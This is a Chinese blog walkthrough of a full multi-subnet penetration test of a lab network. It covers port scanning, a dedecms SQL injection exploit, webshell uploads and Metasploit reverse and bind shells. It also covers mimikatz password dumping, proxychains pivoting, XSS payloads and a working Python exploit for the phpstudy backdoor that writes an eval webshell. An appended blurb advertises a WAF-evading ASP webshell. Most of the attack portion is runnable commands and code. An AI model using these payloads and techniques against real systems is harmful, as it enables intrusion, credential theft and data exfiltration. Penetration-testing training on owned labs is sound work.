内网渗透思路06之一次完整的渗透测试

零、本章所用技术

高质量的多网段的渗透测试完整实例,对三层网段的目标进行检测。

从信息收集->漏洞测试->源代码审计->工具编写->逆向密文->服务器提权->隧道应用->目标获取,

使用工具包括单不限于,

masscan、nmap、wfuzz、中国蚁剑、ILSpy、burpsuite、
	
gobuster、vs2012、metasploit、sockscap、proxychains3.

一、网络示意图

在这里插入图片描述

二、信息收集之端口探测

2.1端口探测

使用masscan扫描,这个比nmap扫描的快,但是没有一些端口详细的信息。
Masscan -p 1-65535 192.168.0.134 --rate=1000

在这里插入图片描述

我们可以先用masscan探测存活端口,在使用nmap对存活端口探测详细。

在这里插入图片描述

上面一处端口是135,不是13。

	-sC  根据端口识别的服务,调用默认脚本,比如445端口就试试永恒之蓝。
	
	-oA    是将扫描结果导出。

2.2探测出的端口服务

在这里插入图片描述
,

在这里插入图片描述
,
在这里插入图片描述

三、信息收集之子域名挖掘

可以使用Onoforall或者挖掘机或者fofa等等。

这里演示就使用kali自带的wfuzz进行爆破子域名。
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53
hw是过滤的意思。

在这里插入图片描述

扫描结果如下:

在这里插入图片描述

四、漏洞测试

4.1 dedecms 安全检测

4.1.0 网站指纹识别
先查看当前cms的版本,http://new.cc123.com/data/admin/ver.txt 。

在这里插入图片描述

经测试发现会员系统开放注册 http://new.cc123.com/member/

在这里插入图片描述

我们随便注册一个用户。账户:asd,123456。

在这里插入图片描述

4.1.1 Sql注入
这个dedecms的20150618版本是存在后台注入的。

在这里插入图片描述

将cookie与脚本放在一起。

在这里插入图片描述

直接使用exp去打命令:“ Python2 exp.py http://new.cc123.com ”

在这里插入图片描述

密文812df726be884ddcfc41解密:admin7788
4.1.2 后台GetShell
访问http://new.cc123.com/dede/  使用账户密码登录。

在这里插入图片描述

上传木马,

在这里插入图片描述

连接蚁剑。

在这里插入图片描述

4.1.3 上传ASPX大马
在终端执行命令失败,一般是权限不足。

在这里插入图片描述

上传aspx大马。一般aspx的权限是大于php文件的。

为什么上传aspx大马就能行?  直觉。

在这里插入图片描述

我们试着执行命令,发现可以执行。

在这里插入图片描述

4.1.4 MSF提权
MSF生成木马,

在这里插入图片描述

使用ASPX大马上传,直接上传成功,不成功的话,

就上传一个查询可读可写目录的脚本。

在这里插入图片描述
MSF执行监听。

msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 192.168.0.105

lhost => 192.168.0.105

msf5 exploit(multi/handler) > set lport 12345

lport => 12345

msf5 exploit(multi/handler) > run

在这里插入图片描述

在大马那执行命令运行木马。看来还是不行,得换个目录在上传MSF木马。

在这里插入图片描述

上传一个查询可读可写文件夹得脚本。上传成功后,我们执行访问查找。

在这里插入图片描述

上传MSF木马,

在这里插入图片描述

再次执行MSF木马,

在这里插入图片描述

查看返回得会话,

在这里插入图片描述

此时权限还是比较低。

在这里插入图片描述
将当前会话放置后台,启动本地提权查询模块。设置参数session

msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 

msf5 post(multi/recon/local_exploit_suggester) > set session 1

sessions => 1

msf5 post(multi/recon/local_exploit_suggester) > run

在这里插入图片描述

找到一堆,

在这里插入图片描述

一般推荐使用“ ms16_075_reflection_juicy ”。即上图倒数第二个。

执行后,我们直接拿到了system权限。

在这里插入图片描述

4.2 WW2网址测试

上一个网址直接拿到system权限,我们就换下一个网址继续。
4.2.1 使域gobuster进行目录扫描
不知道指纹得网站,先扫描一下目录,
gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html" -o ww2dir
当然使用什么工具都可以。Gobuster是go语言写的一个不错得工具,可以干很多事情。

查看结果,发现后台地址,以及其他一些地址。

在这里插入图片描述

4.2.2 前台sql注入

在这里插入图片描述

用户名处输入admin’--+1直接进入后台。

在这里插入图片描述

这有一个小细节,我们输入的admin’--+1,直接显示到了桌面。猜测存在xss。

我们使用  “  admin'--+<script>alert(1)</script>  ”来登录,果然不出所料。

在这里插入图片描述

这里还有一个小彩蛋是,我们肯定不是上来就直接试得admin’--+ ;

能这么试的前提是此系统还存在验证码多次使用的缺陷漏洞。

此时,已经可以用sqlmap跑了,但是是延时盲注,先记录此点继续。

在这里插入图片描述

4.2.3 前端反馈处xss打cookie
上边我们得知,网站对xss也是没有过滤的。在目录扫描的时候发现一个前台反馈界面。

有个小问题是此页面在火狐正常打开,在谷歌反而打不开。

在这里插入图片描述

测试提交,

在这里插入图片描述

貌似没有弹窗,我们点进去看看。

在这里插入图片描述

直接弹窗

在这里插入图片描述

配合xss平台,可以直接打出更大的危改。

在这里插入图片描述

4.2.4 后台sql注入
登录处都存在注入,后台基本必定存在。找个地方跑跑。

在这里插入图片描述

很自然的就跑出注入。

在这里插入图片描述

4.2.5 注入拿shell
查看一下,当前数据库与用户。

在这里插入图片描述

爆破当前数据库的admin表格,但是没有什么内容(没有获取到)。

在这里插入图片描述

算了,sa用户的话,很大概率可以直接拿shell了,试试。

直接拿到shell,并且是系统最高权限。

在这里插入图片描述

查看当前服务器网络信息发现与网站服务器并不是一个。看来是站库分离。

即程序跟数据库不在一个服务器,让这个数据服务器更加的安全,进而数据更加安全。

在这里插入图片描述

到此第二个服务器拿下。
4.2.6 后台编辑器漏洞
此时,我们继续看看后台有没有别的东西。

发现后台一个上传点,经过测试是白名单,有点难搞。

在这里插入图片描述

继续看看别的地方。还是不行,上周传之后还会重命名,微顶。

在这里插入图片描述

但是,在测试过程发现编辑器的身影。

在这里插入图片描述

经过信息收集,编辑器信息为“ KindEditor 4.1.7 ”版。

在这里插入图片描述

网上查询相关漏洞,发现修改“ dir=file ”可以上传html,但是无法上传脚本文件。

好吧,微微鸡肋的洞,通过此漏洞可以造成挂黑页,与存储型xss。

上传一个弹cookie的html测试。

在这里插入图片描述

访问上传页面,弹窗cookie。

在这里插入图片描述

4.2.7 简单代码审计之前端xss
到此后台都逛了逛,没什么有意思的事情,我们去MSF看看前台源代码。

采用蚁剑配合msf寻找网站根目录,

在这里插入图片描述

看到一个mystat.aspx 文件。

在这里插入图片描述

看看源码,

meterpreter > cat mystat.aspx

<%@ page language="c#" runat="server" %>
<script language="c#" runat="server">
public string strStyle;
public string strtheurl;
public void Page_Load(Object src,EventArgs e)
{
   NameValueCollection ServerVariables = Request.ServerVariables;
   strStyle=Request.QueryString["style"];
   strtheurl=ServerVariables["URL"].ToString();
   strtheurl=strtheurl.Substring(0,strtheurl.IndexOf("mystat.aspx",0,strtheurl.Length));
   strtheurl="http://"+ServerVariables["HTTP_HOST"].ToString()+strtheurl;

}
</script>
document.write("<script>var style='<%=strStyle%>';var url='<%=strtheurl%>';</script>")
_dwrite("<script language=javascript src="+url+"stat.aspx?style="+style+"&referer="+escape(document.referrer)+"&screenwidth="+(screen.width)+"></script>");
function _dwrite(string) {document.write(string);}

我们发现这个style参数可控,且没有任何过滤,

在这里插入图片描述

上来直接一把梭哈,http://ww2.cc123.com/mystat.aspx?style=%27;(prompt)``//

在这里插入图片描述

4.2.8 逆向分析dll文件
继续看看别的文件,发现一些文件内容都很少,这是遇到伪静态页面处理了。

可以结合网站根目录下的配置文件判断,内容代码一般都在bin目录下。

在这里插入图片描述

看看bin目录,发现大量dll文件。

在这里插入图片描述

将源代码都下载下来。

在这里插入图片描述

将文件拖到主机上,

在这里插入图片描述

直接用记事本打开是 乱码的,

在这里插入图片描述

此时可以用一个逆向dll文件的工具,来看看源代码。

在这里插入图片描述

4.2.9 解密软件的编写
一个小知识点是网站根目录下的配置文件一定要看看。

在这里插入图片描述

不出意外,找到连接数据库的账户密码,
key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.."

在这里插入图片描述

使用我们的大马可以直接进行连接,

在这里插入图片描述

找到我们之前用sqlmap没有跑出的账户密码,但是直接md5是无法破解的。

	admin	 AE5F6187F32825CA	

	cc123	 B97C57DB005F954242450A255217DA9F	 

在这里插入图片描述

去看看源码,找一下加密解密代码。将后台登录。

在这里插入图片描述

找到login,找到此 dll  文件。

在这里插入图片描述

看到是调用了一个类,传入两个参数,

在这里插入图片描述

查看一下此类,

在这里插入图片描述

加密类旁边就是解密类,具体内容如下:
// StringClass
public static string Decrypt(string pToDecrypt, string sKey)
{
    DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
    byte[] array = new byte[pToDecrypt.Length / 2];
    for (int i = 0; i < pToDecrypt.Length / 2; i++)
    {
        int num = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 16);
        array[i] = (byte)num;
    }
    dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
    dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
    MemoryStream memoryStream = new MemoryStream();
    CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
    cryptoStream.Write(array, 0, array.Length);
    cryptoStream.FlushFinalBlock();
    new StringBuilder();
    return Encoding.Default.GetString(memoryStream.ToArray());
}

在这里插入图片描述

貌似我们只需要传入需要解密的字符串与key就行了,key可以在上边找到。

打开VS 2012,创建一个新项目。

在这里插入图片描述

编写外观及其使用窗体:

在这里插入图片描述
.
在这里插入图片描述

接着双击“解密按钮”来将上面“ 解密类 ”的代码粘贴进去。

在这里插入图片描述

爆红代码,解析导出。

在这里插入图片描述

完成“ 解密按钮 ”的代码编写。

在这里插入图片描述

测试效果,

在这里插入图片描述
,
在这里插入图片描述


admin	 AE5F6187F32825CA						cc123

cc123	 B97C57DB005F954242450A255217DA9F	 	qweasd123

4.3 内网横向渗透

Ok,到上面。我们已经拿下web服务器与数据库服务器。
4.3.1 获取hash与明文密码。
返回msf首先就是要迁移进程,但是这里有个小坑。

一般迁移进程都是迁移到系统进程“ explorer.exe ”,即任务管理器中。

但是此时web服务器ps查看,explorer.exe  并不是 系统权限进程,

不然还需要提权,或者bypass UAC,因为administrator权限还是存在部分限制。

在这里插入图片描述

我们迁入一个系统服务进程中 “  migrate   2608  ”。

第一次迁移失败,提示该进程已经不存在,那就换个。

在这里插入图片描述

Run hashdump来获取一下hash,

在这里插入图片描述

来加载mimikatz来尝试读取明文密码。

mimikatz_command -f sekurlsa::searchPasswords

得到管理员的账户密码“ Administrator	!@#Qwe123. ”

在这里插入图片描述

有时候,抓到hash但是抓不到明文密码的时候,可以去在线网站破解

如:http://www.objectif-securite.ch/
4.3.2 配置路由及代理
通过ipconfig与run get_local_subnets来看看当前机器所处的网段。

在这里插入图片描述

用run autoroute -s 10.10.10.0/24	添加路由进行内网渗透。

在这里插入图片描述

用run autoroute -p来查看是否添加成功,

在这里插入图片描述

启动 socks 代理,use auxiliary/server/socks4a

在这里插入图片描述

我们先看看此时能不能访问数据服务器(10.10.10.136)	

在这里插入图片描述

此时在,修改proxychains配置文件“  sudo vim /etc/proxychains.conf ”。

在这里插入图片描述

成功扫描,

在这里插入图片描述

扫描完成:proxychains nmap -sT -Pn 10.10.10.136

在这里插入图片描述

扫描完毕这些端口,其实就可以
4.3.3 让数据服务器上线msf
此时,数据服务不能出网。

思路是生成msf木马上传到数据服务器,msf正向连接木马。

当然,搭建隧道的话也可以,这个后边回说。

下边是生成正向连接木马命令,

msfvenom -p windows/meterpreter/bind_tcp Lport=13777 -f exe > bind.exe

在这里插入图片描述

通过aspx大马进行上传,

在这里插入图片描述

等待一会,上传成功。

在这里插入图片描述

我们手动执行上传的木马,

在这里插入图片描述

切换监听的payload,因为上边我们攻击web服务器是反弹会话,

此时的payload还是反弹会话的,所以我们要切换。

在这里插入图片描述

配置完成。

在这里插入图片描述

进行正向连接,攻击成功。

在这里插入图片描述

4.3.4 获取数据服务器的hash与明文密码

使用猕猴桃获取hash与明文需要注意:

mimikatz模块的使用需要Administrator权限或者System权限。

MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,

但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,

直接默认加载该模块会导致很多功能无法使用。

而且在64位系统下必须先查看系统进程列表,

然后将meterpreter进程迁移到一个64位程序的进程中,

才能加载mimikatz并且查看系统明文。但是在32位系统下则没有这个限制。
使用命令:hashdump

在这里插入图片描述

使用命令:	mimikatz_command -f sekurlsa::searchPasswords

在这里插入图片描述

4.3.5 配置数据服务器路由及其代理
在msf中新增路由

Run get_loacl_subnets

run autoroute -s 10.10.1.0/24

run autoroute -p

在这里插入图片描述

这里的话,代理上边已经配置过了,就不用再次配置了。

使用nmap测试一下。

在这里插入图片描述

我们使用代理来访问80端口,

在这里插入图片描述

4.3.6 编写PHP study利用py脚本
从页面中,我们发现这是一个2014版本的phpstudy,在之前爆出的后门版本中属于受害者。

Exp:

import requests
import sys
import base64

shell = "system('" +  sys.argv[1]  + "');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
url = "http://10.10.1.129/"

headers={'Accept-Encoding':'gzip,deflate','accept-charset':shell_base64}

html = requests.get(url=url,headers=headers).text

print(html)

在这里插入图片描述

但是这么看,有点难受。我们使用正则匹配仅仅输出执行的命令。

Exp:

import requests
import sys
import base64
import re

shell = "system('" +  sys.argv[1]  + "');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
url = "http://10.10.1.129/"

headers={'Accept-Encoding':'gzip,deflate','accept-charset':shell_base64}

html = requests.get(url=url,headers=headers).text
re_shell = re.findall(r"(.+?)<!DOCTYPE",html,re.S)
for i in re_shell:
print(i)

在这里插入图片描述

写入shell,
proxychains python3 a.py "echo ^<?php @eval(\$_REQUEST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"
4.3.7 SocksCap64 设置本机代理
我们新增一个代理。

在这里插入图片描述

顺手将菜刀拖进来。

在这里插入图片描述

测试能否代理,是可以的。

在这里插入图片描述

我们来添加,连接一波。

在这里插入图片描述

Ok,顺利上线。

在这里插入图片描述

4.3.8 将最后的web服务器上线msf
将刚刚msf生成的bind.exe拖到本机来,通过菜刀上传。

在这里插入图片描述

手动运行木马,

在这里插入图片描述

Msf启动正向连接,进行设置。

在这里插入图片描述

连接测试。

在这里插入图片描述

到此,三台机器全被拿下。

在这里插入图片描述

老规矩,先看看hash与明文。不过先要迁移应用。

然后hashdump直接整出来机器hash。

在这里插入图片描述

我们加载猕猴桃,读取本地明文密码。

在这里插入图片描述

我们进入目标主机shell,看看还有没有其他机器。

在这里插入图片描述

Ok,完活。

五、总结(常规二段内网)

5.1 外网服务器

通过信息收集到目标站点是dedecms,通过注入拿下后台,进而getshell。

权限不太够,上传aspx大马,进而上传msf木马,提权。

5.2 数据库服务器

翻找网站配置信息发现数据库账户,通过大马直接连接。

增加路由搭建代理,上传msf正向木马到数据库服务器,成功上线msf,

5.3 内网服务器

在数据库服务器上继续增加路由(此时不用在配置代理了),扫描最后一台主机,

通过phpstudy后门拿下,写马,本机通过代理连接菜刀。

用过菜刀上传msf木马,成功上线msf。
一、 整体介绍     本身代码经过变量转换和替换字符加密,可完美过安全狗,护卫神,D盾,safe3 Waf,KOasp木马查杀等IIS防火墙和查杀工具。  程序结合海洋顶端asp木马、老兵asp木马、Drakblade暗黑之剑1.3版本、05年到13年主流asp木马的优点进行开发完善制作。  程序在目录检测功能、隐藏功能、数据库操作和提权处做了较大改进,具体请看下列介绍 二、 提交代码经过ascii 2次转码post提交过IIS安全狗,护卫神,D盾,safe3 Waf等IIS防火墙拦截代码。 三、 登陆成功后显示"欢迎界面","欢迎界面"显示服务器安全指数,等级分为 高、中、低三等级,根据wscript.shell磁盘根目录是否可读取等功能判断。  第一项显示:服务器iis版本、服务器超时时间、以及session信息、服务器CPU数量、主机名、默认管理员信息、Terminal Service终端端口(需要wscript.shell组件支持)支持脚本探测(aspx,php,pl)功能,支持bing查询同服务器所有支持aspx脚本站点。 第二项显示:系统当前路径变量。   第三项显示:磁盘根目录的读取权限问题(判断是否可跨站)。 第四项显示:常用组件信息,左侧11个为危险组件,右侧11个为安全组件。   第五项显示:读取c:\windows\system32\sethc.exe 和 c:\windows\system32\magnify.exe 文件的属性、时间、文件体积,从而判断是否被入侵。 四、 右上角的ZONE-H图标为一键提交被黑网页到被黑站点统计www.zone-h.com.cn,个人信息请编辑程序修改,或用生成器生成。 五、 WEB根目录和本程序目录都可以转入文件操作页。  文件操作一:左侧为磁盘和快捷不安全目录查看(目录为智能判断,不存在则不显示)  文件操作二:右侧为文件操作模块和文件夹操作模块。 文件操作支持浏览器模式打开、编辑(支持UTF-8模式编辑)、复制、移动、删除(支持强制删除只读属性文件)、修改属性为隐藏or正常、数据库模式编辑。 文件夹操作支持修改文件夹属性、删除、复制、移动 数据库模式编辑支持查看内容、修改内容、删除内容、拖库。 六、 功能一分为三项功能 目录检测功能,补丁检测功能以及端口扫描功能。这三项功能不需要服务器过多脚本支持,故而放到一起。 ***目录扫描: 支持单文件检测,目录检测,是否循环所有磁盘,是否选择深度目录扫描和子目录扫描(目录扫描结尾必须加入“\”)
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

划水的小白白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值